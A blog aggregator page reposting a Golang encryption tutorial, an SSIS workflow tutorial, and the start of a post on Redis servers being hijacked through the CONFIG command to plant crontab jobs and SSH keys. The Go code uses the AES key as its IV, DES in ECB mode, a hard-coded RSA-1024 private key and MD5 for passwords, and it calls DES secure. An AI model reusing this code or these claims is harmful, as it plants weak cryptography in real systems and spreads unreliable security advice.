开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

Golang:加密解密算法

发表于 2021-11-15

我参与11月更文挑战的第9天,活动详情查看:2021最后一次更文挑战

给大家看看我上个月获得奖品吧 哈哈哈

  1. 摘要

在项目开发过程中,当操作一些用户的隐私信息,诸如密码,帐户密钥等数据时,往往需要加密后可以在网上传输.这时,需要一些高效地,简单易用的加密算法加密数据,然后把加密后的数据存入数据库或进行其他操作;当需要读取数据时,把加密后的数据取出来,再通过算法解密.

  1. 关于加密解密

当前我们项目中常用的加解密的方式无非三种.

  • 对称加密, 加解密都使用的是同一个密钥, 其中的代表就是AES,DES
  • 非对加解密, 加解密使用不同的密钥, 其中的代表就是RSA
  • 签名算法, 如MD5,SHA1,HMAC等, 主要用于验证,防止信息被修改, 如:文件校验,数字签名,鉴权协议

1.1. Base64不是加密算法

它是一种数据编码方式,虽然是可逆的,但是它的编码方式是公开的,无所谓加密.本文也对Base64编码方式做了简要介绍.

  1. AES

AES,即高级加密标准(Advanced Encryption Standard),是一个对称分组密码算法,旨在取代DES成为广泛使用的标准.AES中常见的有三种解决方案,分别为AES-128,AES-192和AES-256. AES加密过程涉及到4种操作:字节替代(SubBytes),行移位(ShiftRows),列混淆(MixColumns)和轮密钥加(AddRoundKey).解密过程分别为对应的逆操作.由于每一步操作都是可逆的,按照相反的顺序进行解密即可恢复明文.加解密中每轮的密钥分别由初始密钥扩展得到.算法中16字节的明文,密文和轮密钥都以一个4x4的矩阵表示. AES 有五种加密模式:电码本模式(Electronic Codebook Book (ECB)),密码分组链接模式(Cipher Block Chaining (CBC)),计算器模式(Counter (CTR)),密码反馈模式(Cipher FeedBack (CFB))和输出反馈模式(Output FeedBack (OFB))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
go复制代码import (
"bytes"
"crypto/aes"
"fmt"
"crypto/cipher"
"encoding/base64"
)

func main() {
orig := "hello world"
key := "123456781234567812345678"
fmt.Println("原文:", orig)

encryptCode := AesEncrypt(orig, key)
fmt.Println("密文:" , encryptCode)

decryptCode := AesDecrypt(encryptCode, key)
fmt.Println("解密结果:", decryptCode)
}

func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)

// 分组秘钥
block, err := aes.NewCipher(k)
if err != nil {
panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
}
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
//使用RawURLEncoding 不要使用StdEncoding
//不要使用StdEncoding 放在url参数中回导致错误
return base64.RawURLEncoding.EncodeToString(cryted)

}

func AesDecrypt(cryted string, key string) string {
//使用RawURLEncoding 不要使用StdEncoding
//不要使用StdEncoding 放在url参数中回导致错误
crytedByte, _ := base64.RawURLEncoding.DecodeString(cryted)
k := []byte(key)

// 分组秘钥
block, err := aes.NewCipher(k)
if err != nil {
panic(fmt.Sprintf("key 长度必须 16/24/32长度: %s", err.Error()))
}
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}

//补码
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

//去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

  1. DES

DES是一种对称加密算法,又称为美国数据加密标准.DES加密时以64位分组对数据进行加密,加密和解密都使用的是同一个长度为64位的密钥,实际上只用到了其中的56位,密钥中的第8,16…64位用来作奇偶校验.DES有ECB(电子密码本)和CBC(加密块)等加密模式. DES算法的安全性很高,目前除了穷举搜索破解外, 尚无更好的的办法来破解.其密钥长度越长,破解难度就越大. 填充和去填充函数.

1
2
3
4
5
6
7
8
9
10
11
12
go复制代码func ZeroPadding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{0}, padding)
return append(ciphertext, padtext...)
}

func ZeroUnPadding(origData []byte) []byte {
return bytes.TrimFunc(origData,
func(r rune) bool {
return r == rune(0)
})
}

加密.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
go复制代码func Encrypt(text string, key []byte) (string, error) {
src := []byte(text)
block, err := des.NewCipher(key)
if err != nil {
return "", err
}
bs := block.BlockSize()
src = ZeroPadding(src, bs)
if len(src)%bs != 0 {
return "", errors.New("Need a multiple of the blocksize")
}
out := make([]byte, len(src))
dst := out
for len(src) > 0 {
block.Encrypt(dst, src[:bs])
src = src[bs:]
dst = dst[bs:]
}
return hex.EncodeToString(out), nil
}

解密.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
go复制代码func Decrypt(decrypted string , key []byte) (string, error) {
src, err := hex.DecodeString(decrypted)
if err != nil {
return "", err
}
block, err := des.NewCipher(key)
if err != nil {
return "", err
}
out := make([]byte, len(src))
dst := out
bs := block.BlockSize()
if len(src)%bs != 0 {
return "", errors.New("crypto/cipher: input not full blocks")
}
for len(src) > 0 {
block.Decrypt(dst, src[:bs])
src = src[bs:]
dst = dst[bs:]
}
out = ZeroUnPadding(out)
return string(out), nil
}

测试.在这里,DES中使用的密钥key只能为8位.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
go复制代码func main() {
key := []byte("2fa6c1e9")
str :="I love this beautiful world!"
strEncrypted, err := Encrypt(str, key)
if err != nil {
log.Fatal(err)
}
fmt.Println("Encrypted:", strEncrypted)
strDecrypted, err := Decrypt(strEncrypted, key)
if err != nil {
log.Fatal(err)
}
fmt.Println("Decrypted:", strDecrypted)
}
//Output:
//Encrypted: 5d2333b9fbbe5892379e6bcc25ffd1f3a51b6ffe4dc7af62beb28e1270d5daa1
//Decrypted: I love this beautiful world!
  1. RSA

首先使用openssl生成公私钥,使用RSA的时候需要提供公钥和私钥 , 可以通过openss来生成对应的pem格式的公钥和私钥匙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
go复制代码import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/base64"
"encoding/pem"
"errors"
"fmt"
)

// 私钥生成
//openssl genrsa -out rsa_private_key.pem 1024
var privateKey = []byte(`
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDcGsUIIAINHfRTdMmgGwLrjzfMNSrtgIf4EGsNaYwmC1GjF/bM
h0Mcm10oLhNrKNYCTTQVGGIxuc5heKd1gOzb7bdTnCDPPZ7oV7p1B9Pud+6zPaco
qDz2M24vHFWYY2FbIIJh8fHhKcfXNXOLovdVBE7Zy682X1+R1lRK8D+vmQIDAQAB
AoGAeWAZvz1HZExca5k/hpbeqV+0+VtobMgwMs96+U53BpO/VRzl8Cu3CpNyb7HY
64L9YQ+J5QgpPhqkgIO0dMu/0RIXsmhvr2gcxmKObcqT3JQ6S4rjHTln49I2sYTz
7JEH4TcplKjSjHyq5MhHfA+CV2/AB2BO6G8limu7SheXuvECQQDwOpZrZDeTOOBk
z1vercawd+J9ll/FZYttnrWYTI1sSF1sNfZ7dUXPyYPQFZ0LQ1bhZGmWBZ6a6wd9
R+PKlmJvAkEA6o32c/WEXxW2zeh18sOO4wqUiBYq3L3hFObhcsUAY8jfykQefW8q
yPuuL02jLIajFWd0itjvIrzWnVmoUuXydwJAXGLrvllIVkIlah+lATprkypH3Gyc
YFnxCTNkOzIVoXMjGp6WMFylgIfLPZdSUiaPnxby1FNM7987fh7Lp/m12QJAK9iL
2JNtwkSR3p305oOuAz0oFORn8MnB+KFMRaMT9pNHWk0vke0lB1sc7ZTKyvkEJW0o
eQgic9DvIYzwDUcU8wJAIkKROzuzLi9AvLnLUrSdI6998lmeYO9x7pwZPukz3era
zncjRK3pbVkv0KrKfczuJiRlZ7dUzVO0b6QJr8TRAA==
-----END RSA PRIVATE KEY-----
`)

// 公钥: 根据私钥生成
//openssl rsa -in rsa_private_key.pem -pubout -out rsa_public_key.pem
var publicKey = []byte(`
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcGsUIIAINHfRTdMmgGwLrjzfM
NSrtgIf4EGsNaYwmC1GjF/bMh0Mcm10oLhNrKNYCTTQVGGIxuc5heKd1gOzb7bdT
nCDPPZ7oV7p1B9Pud+6zPacoqDz2M24vHFWYY2FbIIJh8fHhKcfXNXOLovdVBE7Z
y682X1+R1lRK8D+vmQIDAQAB
-----END PUBLIC KEY-----
`)

// 加密
func RsaEncrypt(origData []byte) ([]byte, error) {
//解密pem格式的公钥
block, _ := pem.Decode(publicKey)
if block == nil {
return nil, errors.New("public key error")
}
// 解析公钥
pubInterface, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
return nil, err
}
// 类型断言
pub := pubInterface.(*rsa.PublicKey)
//加密
return rsa.EncryptPKCS1v15(rand.Reader, pub, origData)
}

// 解密
func RsaDecrypt(ciphertext []byte) ([]byte, error) {
//解密
block, _ := pem.Decode(privateKey)
if block == nil {
return nil, errors.New("private key error!")
}
//解析PKCS1格式的私钥
priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return nil, err
}
// 解密
return rsa.DecryptPKCS1v15(rand.Reader, priv, ciphertext)
}
func main() {
data, _ := RsaEncrypt([]byte("hello world"))
fmt.Println(base64.StdEncoding.EncodeToString(data))
origData, _ := RsaDecrypt(data)
fmt.Println(string(origData))
}
  1. 使用golang标准库ecdsa生成非对称(ES256,ES384,ES521)加密密钥对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
go复制代码import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"encoding/pem"
"github.com/spf13/cobra"
"log"
"os"
)


// ecdsaCmd represents the doc command
func keyPairs(keyName string) {
//elliptic.P256(),elliptic.P384(),elliptic.P521()

privateKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
log.Fatal(err)
}
x509Encoded, _ := x509.MarshalECPrivateKey(privateKey)
privateBs := pem.EncodeToMemory(&pem.Block{Type: "PRIVATE KEY", Bytes: x509Encoded})
privateFile, err := os.Create(keyName + ".private.pem")
if err != nil {
log.Fatal(err)
}
_, err = privateFile.Write(privateBs)
if err != nil {
log.Fatal(err)
}
x509EncodedPub, _ := x509.MarshalPKIXPublicKey(privateKey.Public())
publicBs := pem.EncodeToMemory(&pem.Block{Type: "PUBLIC KEY", Bytes: x509EncodedPub})
publicKeyFile, err := os.Create(keyName + ".public.pem")
if err != nil {
log.Fatal(err)
}
_, err = publicKeyFile.Write(publicBs)
if err != nil {
log.Fatal(err)
}
}
  1. MD5

MD5的全称是Message-DigestAlgorithm 5,它可以把一个任意长度的字节数组转换成一个定长的整数,并且这种转换是不可逆的.对于任意长度的数据,转换后的MD5值长度是固定的,而且MD5的转换操作很容易,只要原数据有一点点改动,转换后结果就会有很大的差异.正是由于MD5算法的这些特性,它经常用于对于一段信息产生信息摘要,以防止其被篡改.其还广泛就于操作系统的登录过程中的安全验证,比如Unix操作系统的密码就是经过MD5加密后存储到文件系统中,当用户登录时输入密码后, 对用户输入的数据经过MD5加密后与原来存储的密文信息比对,如果相同说明密码正确,否则输入的密码就是错误的. MD5以512位为一个计算单位对数据进行分组,每一分组又被划分为16个32位的小组,经过一系列处理后,输出4个32位的小组,最后组成一个128位的哈希值.对处理的数据进行512求余得到N和一个余数,如果余数不为448,填充1和若干个0直到448位为止,最后再加上一个64位用来保存数据的长度,这样经过预处理后,数据变成(N+1)x 512位. 加密.Encode 函数用来加密数据,Check函数传入一个未加密的字符串和与加密后的数据,进行对比,如果正确就返回true.

1
2
3
4
5
6
7
8
go复制代码func Check(content, encrypted string) bool {
return strings.EqualFold(Encode(content), encrypted)
}
func Encode(data string) string {
h := md5.New()
h.Write([]byte(data))
return hex.EncodeToString(h.Sum(nil))
}

测试.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
go复制代码func main() {
strTest := "I love this beautiful world!"
strEncrypted := "98b4fc4538115c4980a8b859ff3d27e1"
fmt.Println(Check(strTest, strEncrypted))
}
//Output:
//true

Sha1

package main

import (
"crypto/sha1"
"fmt"
)
func main() {
s := "sha1 this string"
//产生一个散列值得方式是 sha1.New(),sha1.Write(bytes),然后 sha1.Sum([]byte{}).这里我们从一个新的散列开始.
h := sha1.New()
//写入要处理的字节.如果是一个字符串,需要使用[]byte(s) 来强制转换成字节数组.
h.Write([]byte(s))
//这个用来得到最终的散列值的字符切片.Sum 的参数可以用来都现有的字符切片追加额外的字节切片:一般不需要要.
bs := h.Sum(nil)
//SHA1 值经常以 16 进制输出,例如在 git commit 中.使用%x 来将散列结果格式化为 16 进制字符串.
fmt.Println(s)
fmt.Printf("%x\n", bs)
}
  1. SHA

SHA1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
go复制代码package main

import (
"crypto/sha1"
"fmt"
)

func main() {
s := "sha1 this string"

h := sha1.New()

h.Write([]byte(s))

bs := h.Sum(nil)

fmt.Println(s)
fmt.Printf("%x\n", bs)
}

SHA256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
go复制代码package main

import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"fmt"
)

func main() {

secret := "mysecret"
data := "data"
fmt.Printf("Secret: %s Data: %s\n", secret, data)

// Create a new HMAC by defining the hash type and the key (as byte array)
h := hmac.New(sha256.New, []byte(secret))

// Write Data to it
h.Write([]byte(data))

// Get result and encode as hexadecimal string
sha := hex.EncodeToString(h.Sum(nil))

fmt.Println("Result: " + sha)
}
  1. Base64

Base64是一种任意二进制到文本字符串的编码方法,常用于在URL,Cookie,网页中传输少量二进制数据. 首先使用Base64编码需要一个含有64个字符的表,这个表由大小写字母,数字,+和/组成.采用Base64编码处理数据时,会把每三个字节共24位作为一个处理单元,再分为四组,每组6位,查表后获得相应的字符即编码后的字符串.编码后的字符串长32位,这样,经Base64编码后,原字符串增长1/3.如果要编码的数据不是3的倍数,最后会剩下一到两个字节,Base64编码中会采用\x00在处理单元后补全,编码后的字符串最后会加上一到两个 = 表示补了几个字节.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
go复制代码const (
base64Table = "IJjkKLMNO567PQX12RVW3YZaDEFGbcdefghiABCHlSTUmnopqrxyz04stuvw89+/"

)

var coder = base64.NewEncoding(base64Table)

func Base64Encode(src []byte) []byte { //编码
return []byte(coder.EncodeToString(src))
}

func Base64Decode(src []byte) ([]byte, error) { //解码
return coder.DecodeString(string(src))
}

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

SSIS学习使用八:高级SSIS工作流管理 翻译参考 高级S

发表于 2021-11-15

这是我参与11月更文挑战的第15天,活动详情查看:2021最后一次更文挑战

翻译参考

本文主要参考翻译自 The Stairway to Integration Services 系列文章的 Advanced SSIS Workflow Management – Level 8 of the Stairway to Integration Services,目的在于对 SSIS 有一个全面清晰的认识,所有内容在原文的基础上进行实操,由于版本差异、个人疑问等多种原因,未采用完全翻译的原则,同时也会对文中内容进行适当修改,希望最终可以更有利于学习和了解 SSIS,

感谢支持!

高级SSIS工作流管理

在之前的部分,我们创建了一个 新SSIS包,首先查看了脚本任务和SSIS中的优先约束。检查了 MaxConcurrentExecutables 包属性。还检查、演示和测试了优先约束的 “On Success”, “On Completion” 和 “On Failure” 功能。

本篇中,将深入了解 SSIS工作流管理 —— 学习 SSIS 变量和复杂的优先约束表达式。

关于变量(About Variables)

打开 Precedence.dtsx包(如果没打开的话)。点击 visual studio 顶部的 SSIS 下拉菜单,点击选中 “变量”(Variables) 菜单项,打开显示变量窗口。

在 变量窗口(Variables window) 的顶部,可以发现SSIS变量的工具条,这些按钮是:

  • 添加变量
  • 移动变量
  • 删除变量
  • 网格选项

在网格选项中,可以设置是否显示系统变量,以及变量窗口表格中显示的列。

系统变量是 System 命名空间下的变量。许多SSIS包属性、或SSIS包中创建的组件、对象属性都是系统变量。

变量和命名空间(Variables and Namespaces)

SSIS包中有两个默认命名空间:System 和 User。我们不能添加系统变量,但是可以添加 用户变量 或者 创建一个新命名空间。作用域和命名空间下的 变量名 必须是唯一的。

比如,在 “User” 命名空间中你可以有一个 “MyVariable” 变量名,完全限定名称是 “User::MyVariable”(<Namespace>::<VariableName>)。当前例子中,User::MyVariable 位于 Precedence.dtsx 包作用域中。我们可以在 “User2” 命名空间中有另一个变量 “MyVariable”,User2::MyVariable 也是位于 Precedence.dtsx 包作用域。

为了创建 User2 命名空间,你需要显示命名空间列,并编辑”User”文本为”User2”。当在相同的作用域访问位于不同命名空间的相同名称变量时,你需要使用完全限定变量名,否则你将收到一个如下类似的错误:

变量名称不明确,因为具有该名称的多个变量存在于不同的命名空间中。指定名称空间限定名称以防止歧义。

The variable name is ambiguous because multiple variables with this name exist in different namespaces. Specify namespace-qualified name to prevent ambiguity.

添加变量(Add a Variable)

点击 变量窗口 的 “添加变量” 按钮,一个新的 Int32 数据类型的名为”变量”(Variable)的变量被创建。

重命名变量为”MyBool”,修改它的数据类型为 Boolean。

现在,可以在优先约束表达式中使用该变量了。

表达式和优先约束

右击 “Script Task 1” 和 “Script Task 2” 之间的优先约束,点击 “编辑…”,打开优先约束编辑器

这里有两组控制按钮,分别是 “约束选项”(Constraint options) 和 “多重约束”(Multiple constraints)。在构建SSIS包时,我将控制流任务定向为从上到下的顺序执行(top-to-bottom)。

位置任务(positioning tasks)的一个积极的副作用是执行流从上到下。优先约束编辑器上的 组框(groupboxes) 的排列与控制流上优先约束的物理布局在某种程度上保持一致:”约束选项”(Constraint options)组框 设置优先约束中与上一个任务或优先约束”起点”相关的属性;”多重约束”(Multiple constraints)组框 设置有关下一个任务或优先约束”端点”的属性。

在优先约束编辑器中,点击 “求值运算”(Evaluation operation) 下拉列表。可以看到几个选项列表:

  • 约束Constraint
  • 表达式Expression
  • 表达式和约束Expression and Constraint
  • 表达式或约束Expression or Constraint

默认选项是约束(之前的介绍都是使用的这个选项)。约束允许配置何时或是否执行下一个任务 —— 仅仅根据上一个任务的执行结果。值下拉列表包含约束评估的选项:成功,失败和完成。

优先约束中使用表达式

修改 “求值运算”(Evaluation operation) 下拉列表为 “表达式”(Expression),并在表达式文本框中输入”@MyBool”

点击 “测试”(test) 按钮,验证表达式文本框中的表达式。

SSIS 变量 MyBool 是一个 Boolean 类型的值,其默认值为False。表达式文本框中的值必须是 True 或 False。此处也可以编辑表达式为”@MyBool == True”。表达式”@MyBool”和”@MyBool == True”在逻辑上是相等的,因为它们有相同的结果。

配置好后,关闭优先约束编辑器。

调试运行 ‘Precedence.dtsx’ 包。运行 “Script Task 1” 出现询问成功或失败的消息框。此时,无论你选择哪个选项都没关系,因为优先约束评估仅仅基于 SSIS 的 Boolean 变量@MyBool的值。@MyBool默认是 False,所以 “Script Task 2” 将永远不会执行(因为优先约束永远不能评估为True)

脚本任务的脚本中使用变量

下面创建更有用的测试。

打开 “Script Task 1” 编辑器,并点击 “ReadWriteVariables” 属性的省略号,显示选择变量窗口,选择 User::MyBool 变量。

点击确定按钮,关闭选择变量窗口,脚本任务编辑器的 ReadWriteVariables 属性现在包含了 SSIS 变量 “User::MyBool”。

点击”编辑脚本”(Edit Script)按钮,在 Main 函数中编辑代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cs复制代码public void Main()
{
// TODO: Add your code here
var sTaskName = Dts.Variables["TaskName"].Value.ToString();
var boxRes = MessageBox.Show("设置MyBool为True?", sTaskName, MessageBoxButtons.YesNo);
if (boxRes == DialogResult.Yes)
{
Dts.Variables["User::MyBool"].Value = true;
}
else
{
Dts.Variables["User::MyBool"].Value = false;
}
Dts.TaskResult = (int)ScriptResults.Success;
}

保存并关闭脚本编辑器,点击”确定”关闭脚本任务编辑器。

调试运行 Precedence.dtsx 包,分别测试点击 “Script Task 1” 中消息框的不同按钮:点”是”时会执行”Script Task 2”;点”否”时,整个执行将在不执行”Script Task 2”情况下结束。

深入使用变量

右击 “Script Task 2”,点击复制,然后右击控制流的空白部分,点击”粘贴”。将会出现 “Script Task 2 1” 脚本任务。

重命名 “Script Task 2 1” 为 “Script Task 3”,从 “Script Task 1” 连接一个新的”优先约束”。

如果此时执行SSIS包,不管你点击设置的 MyBool 变量,”Script Task 1”都会执行成功,连接 “Script Task 1” 和 “Script Task 3” 的优先约束将会评估为True,消息框 “Script Task 3 completed” 将会显示。

右击 “Script Task 1” 和 “Script Task 3” 之间的有限约束,打开优先约束编辑器,改变 “求值操作”(Evaluation Operation) 为 “表达式”。在表达式文本框中输入 “!@MyBool”,如下:

“!@MyBool” 表示 “Not MyBool”。点击确定按钮关闭编辑器。目前控制流应该和下面的相似

执行SSIS包,如果你点击 “Script Task 1” 提示框的”是”按钮,”Script Task 2” 将会执行;如果你点击”否”按钮,”Script Task 3” 将会执行

原文中有关于优先约束颜色的视觉反馈的介绍。实际上,在 Visual Studio 2010 shell(SQL Server 2012) 中,视觉反馈并没有起到足够的作用,因为其颜色并没有在相应状态下改变。可能和版本不同,此处省略此段内容。

复制并禁用以保留现有工作

在进行更多操作之前,让我们保留已经完成的工作。

从SSIS工具箱(toolbox)中,拖拽 “序列容器”(Sequence Container) 到控制流中。

SSIS工具箱的显示,可以通过顶部菜单 SSIS 中的菜单项 “SSIS工具箱” 控制

点击 控制流 的空白处,并围绕着三个脚本任务(script task)画一个盒子,可以将它们作为一组,整体拖拽到序列容器中

拖进入后,大多数时候,序列容器会自动调整大小围绕这些项。如果没有,可以手动调整大小。

右键 序列容器,点击 “复制”。然后,右击控制流的空白处,点击”粘贴”。此时控制流应该如下所示:

右击第一个序列容器(原始的那个),点击 “禁用”(Disable),序列容器和它的内容显示为禁用(变灰)

现在,当进行新工作时,我们可以保留已经完成的工作。

多重约束(Multiple Constraints)

在 “序列容器1” 中,删除 “Script Task 1”。同时也会删除 “Script Task 1” 与 “Script Task 2”/“Script Task 3” 之间的优先约束。复制 “Script Task 2” 并粘贴到 “序列容器1”,重命名新脚本任务为”Script Task 4”。

移动和调整 “Script Task 2” 和 “Script Task 4”并排显示,”Script Task 2” 和 “Script Task 3”、”Script Task 4” 和 “Script Task 3”之间各自连接一个优先约束

现在,先考虑一下:为了使 “Script Task 3” 执行,必须做什么?

  1. 什么都不做。其他任务执行时,”Script Task 3” 也执行。
  2. “Script Task 3” 在 “Script Task 4” 或 “Script Task 2” 执行并成功之后执行。
  3. “Script Task 3” 在 “Script Task 4” 和 “Script Task 2” 执行并成功之后执行。
  4. “Script Task 3” 永远不执行。

可以通过检查两个 优先级约束编辑器 来找到答案,焦点放在 “多重约束” 组框上:

记住,多重约束框组 定义优先约束如何在端点(EndPoint,优先约束结束的箭头)工作。当端点上只有一个优先约束落在任务上是,这些选项没有意义(它们的行为方式相同)。但是,当有多个约束落在端点任务上时(如此处所示),这些选项至关重要。

“逻辑与”(Logical AND) 选项是默认选中的。意味着端点任务执行前,位于该端点任务上的所有优先约束必须评估。在此例中,它意味着 “Script Task 4” 和 “Script Task 2” 必须结束和成功,”Script Task 3” 才会触发。执行SSIS包进行验证。

直到 “Script Task 4” 和 “Script Task 2” 完成执行并成功,”Script Task 3” 才会开始执行(上面第3个答案)。这是逻辑与多重约束的作用。

下面测试 “逻辑或”(Logical Or)。停止调试运行,双击启用的优先约束中的一个打开编辑器,将多重约束更改为”逻辑或”。点击“确定”,关闭优先约束编辑器。连接”Script Task 3”的两个优先约束都变成了虚线表示。

由于多重约束处理的是端点任务(endpoint tasks)。对一个的改变将应用到所有连接到端点任务的优先约束。

之前,多重约束配置为”逻辑与”,前面的优先约束必须都在执行后续任务之前进行评估。

现在配置为”逻辑或”,”Script Task 3” 执行前会做什么?此处是上面的答案2:”Script Task 3” 在 “Script Task 4” 或 “Script Task 2” 执行并成功之后执行。

执行SSIS包并进行测试。

混合约束和表达式评估操作(表达式求值运算)

如果 SSIS 仍在运行则停止它。

双击 “Script Task 4” 和” Script Task 3” 之间的优先约束打开优先约束编辑器。修改多重约束为逻辑与。设置 求值运算(Evaluation Operation) 为 “表达式和约束”(Expression and Constraint)。确认”值”设置为”成功”,表达式设置为 “@MyBool”

为了这个优先约束进行评估(运算),前面的任务必须执行成功,并且 SSIS 变量 “User::MyBool” 的值必须为 True。”MyBool”默认设置为False。

这个优先约束将永不会评估为True,因为必须是约束为True(执行成功,Success)和表达式(MyBool)为True。但是MyBool是False。这样最后不管脚本任务是否执行成功,都会阻止优先约束的评估。

尝试执行当前包,可以发现 “Script Task 3” 将永远不会执行。

重新打开 “Script Task 4” 和 “Script Task 3” 之间优先约束编辑器。修改”求值运算”为”表达式或约束”(Expression or Constraint):

关闭编辑器,并运行SSIS包。这次”Script Task 3”将会执行。

“Script Task 3” 执行是因为连接到它的两个优先级约束都评估为True。很容易理解如何评估 “Script Task 2” 和 “Script Task 3” 之间的优先级约束。但是,”Script Task 4” 和 “Script Task 3” 之间的优先级约束如何评估?评估运算设置为“表达式或约束”,这意味着表达式或约束必须评估为True。如果两个都为True,则优先约束也将为True。但是OR条件至少需要一个表达式或约束条件来评估True。因为变量值设置为False,所以表达式 MyBool 的结果不为True。约束 —— 成功执行上一个任务 —— 评估为True。这就是允许执行 “Script Task 3” 的原因。

优先约束注释(Annotation)

在操作的过程中,你可能注意到:我们将”求值运算”从”表达式和约束”修改为”表达式或约束”的过程中,控制流中图画呈现在视觉上没有任何变化。(实际上,”求值运算” 只有修改 “约束” 的值时,才会在视觉上改变颜色)。

我们如何分辨其中的不同呢?可以借助于注释实现:点击优先约束选中它,然后按”F4”显示属性,可以看到第一个属性 “ShowAnnotation”,将其设置为 “ConstraintOptions”。

ShowAnnotation 属性的 ConstraintOptions 设置显示:用于阐明优先级约束的评估操作(求值运算)的文本。

综合使用

编辑 “Script Task 2” 和 “Script Task 4” 的 Main() 函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cs复制代码public void Main()
{
// TODO: Add your code here
var sTaskName = Dts.Variables["TaskName"].Value.ToString();
var boxRes = MessageBox.Show("set "+sTaskName + " Succeed?", "确认", MessageBoxButtons.YesNo);
if (boxRes == DialogResult.Yes)
{
Dts.TaskResult = (int)ScriptResults.Success;
}
else
{
Dts.TaskResult = (int)ScriptResults.Failure;
}
}

该代码在每个脚本任务中创建任务成功(success)的提示框。编辑 “Script Task 4” 和 “Script Task 3” 之间的优先约束,设置求值运算为 “表达式和约束”(Expression and Constraint),值为”失败”,表达式为 “@MyBool”

编辑 “Script Task 2” 和 “Script Task 3” 之间的优先约束,设置求值运算为”表达式”(Expression),表达式为”!@MyBool”

如下,是两个优先约束的 “ShowAnnotation” 属性都为 “ConstraintOptions” 显示的效果:

求值运算(Evaluation Operation)设置为表达式,会导致 “ConstraintOptions” 显示为 “Completion and “。

“Script Task 3”执行之前会发生什么?

  1. 什么都不发生。当其他任务执行时,”Script Task 3”将执行。
  2. “Script Task 4” 或 “Script Task 2” 执行并成功后,将执行”Script Task 3”。
  3. “Script Task 4” 和 “Script Task 2” 执行并成功后,将执行”Script Task 3”。
  4. “Script Task 3” 将永远不会执行。

可以运行SSIS包测试下。

这是一个技巧问题(trick question,诡计问题)。答案是4 —— “Script Task 3” 将永远不会执行。

下面修改 “MyBool” 值为 True,”Script Task 2” 和 “Script Task 3” 之间的表达式改为 “@MyBool”

其他”陷阱”(Gotcha)

禁用 “Script Task 4”,当执行SSIS包时,”Script Task 4” 将不执行,”Script Task 3” 也同样不会执行

为什么?MyBool为True,”Script Task 2”完成。”Script Task 4”跳过。当 “Script Task 4” 禁用后,控制流推断为 “成功”(Success)。这意味着”失败优先约束”将不会评估。

总结

本篇中,我们使用SSIS变量控制优先约束评估、检测多重约束,并查看了一个”陷阱(gotchas)”注意项。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Redis 配置不严谨导致服务器被攻击

发表于 2021-11-15

  最近公司 web 服务器连续几次被人攻击拿去挖矿,刚开始以为是上传服务有漏洞,导致可执行脚本被上传到服务器然后运行。于是上传服务的程序经过修改,增加了各种对文件格式、后缀名等的校验。但之后服务器还是被攻击,最终排查发现原因在于 Redis 的配置不严谨,攻击者利用 config 命令修改了 crontab 定时任务同时还实现了 ssh 的免密登录。

  通常我们在安装 Redis 时都会使用默认的配置(默认的监听地址和端口),并且不会设置密码,但这种配置有时候却会使安装 Redis 的服务器被攻击。

⒈ 攻击

  Redis 命令中的 config 命令可以实现在不重启 Redis 服务的情况下修改 Redis 的配置。以下所说的这些攻击方式都是通过使用 config 命令来修改 Redis 的默认数据存放目录以及文件名称来实现的。

⓵ webshell

